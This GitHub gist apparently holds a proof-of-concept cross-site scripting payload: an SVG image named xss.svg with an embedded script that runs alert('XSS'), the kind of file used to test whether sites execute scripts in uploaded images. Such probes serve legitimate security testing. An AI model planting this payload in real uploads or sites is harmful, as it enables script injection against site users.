Skip to content

Instantly share code, notes, and snippets.

@bswck
Last active January 22, 2023 14:36
Show Gist options
  • Save bswck/3a08e21683f6291e5fd6ce6cacb73d46 to your computer and use it in GitHub Desktop.
Save bswck/3a08e21683f6291e5fd6ce6cacb73d46 to your computer and use it in GitHub Desktop.
xss.svg
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert("XSS");
</script>
</svg>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment